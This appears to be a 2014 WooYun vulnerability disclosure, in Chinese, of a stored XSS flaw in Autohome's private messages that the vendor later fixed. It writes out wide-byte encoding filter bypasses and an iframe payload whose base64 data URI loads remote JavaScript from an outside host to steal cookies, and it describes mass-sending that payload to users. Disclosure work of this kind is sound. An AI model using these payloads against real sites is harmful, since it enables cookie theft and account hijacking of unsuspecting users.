漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2014-065015
漏洞标题:汽车之家存储型xss可大规模获取任何用户cookie
相关厂商:汽车之家
漏洞作者: menmen519
提交时间:2014-06-15 13:39
修复时间:2014-07-15 14:12
公开时间:2014-07-15 14:12
漏洞类型:xss跨站脚本攻击
危害等级:高
自评Rank:20
漏洞状态:厂商已经修复
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2014-06-15: 细节已通知厂商并且等待厂商处理中
2014-06-16: 厂商已经确认,细节仅向厂商公开
2014-06-26: 细节向核心白帽子及相关领域专家公开
2014-07-06: 细节向普通白帽子公开
2014-07-15: 厂商已经修复漏洞并主动公开,细节向公众公开
简要描述:
汽车之家存储型xss 可大规模获取任何用户cookie
详细说明:
晚上没事干,由于喜欢车,所以来到汽车之家转了转,登陆用户后,里面有个私信的机制:
大家可以看到,这里理论上是不允许插入dom节点的,我们进行了小测试,当我问输入标签时候,
1.<img> 这里会做一个转换,然后在输出的时候做了html编码处理
2.由于我们看到页面的编码为<head id="Head1"><meta http-equiv="Content-Type" content="text/html; charset=gb2312" />,所以我们就大胆的试了试对<>进行宽字节处理
,转换为%df%3cimg%df%3e,神奇的事情出现了,我们在查看dom树的时候发现居然生成了一个<img>节点
3.可是好景不长,当我们构造完整的语句时候,例如%df%3cimg%20src=1%20onerror=alert(1)%df%3e时候,极其失望的时候这里面凡是以on开头的标签属性全部统统给转义为XSS_error,这个跟通用骑士cms有些像
4.那我们是否可以不用标签动作呢,我接下来尝试了script,iframe等等标签,失败的是也被转移了
5,接着我就再试了试,src 上面的javascript还是被转移了
6,如果我们src上面不用javascript那么经过测试完全可以输入进去,在我们不断的尝试过程中,我们可以采用base64的结构进行构造
%df%3ciframe/**/src='data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL2prZ2gwMDYuYnlldGhvc3QxNy5jb20vdF94LmpzID48L3NjcmlwdD4='%df%3e%df%3c/iframe%df%3e,失望的是前面都测试过了,iframe清楚了,如图所示:
可以看到PrivateLetterContent里面就是我们将要插入页面的内容,这里被剔除了
7,让我神奇的在里面加入一个特殊字符的时候,iframe标签,构造如下:
%df%3ciframe/**/src='data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL2prZ2gwMDYuYnlldGhvc3QxNy5jb20vdF94LmpzID48L3NjcmlwdD4='/*&*/%df%3e%df%3c/iframe%df%3e
神奇的出现了,如图所示:
8.我们去页面看看我们提前加载的远程js是否被执行了:
效果跟我们的预期一样,然后我们到收私信的人那边也看看,这个东西是否能执行,果不其然
9,在汽车之家里面,自己的主页可以进行设置,只允许好友之间发私信,
url里面八位数的东西,我们可以后台写一个脚本,遍历群发给所有的车友,危害非常大,指哪打哪
10,总结,这里我写好了攻击脚本,但是由于之前测试插入的节点破坏了私信的删除功能,很郁闷,没有敢大规模群发
漏洞证明:
修复方案:
你们很专业,很懂
版权声明:转载请注明来源 menmen519@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:10
确认时间:2014-06-16 10:00
厂商回复:
正在处理,感谢对汽车之家的支持。
最新状态:
2014-07-15:已经修复,感谢对汽车之家的支持。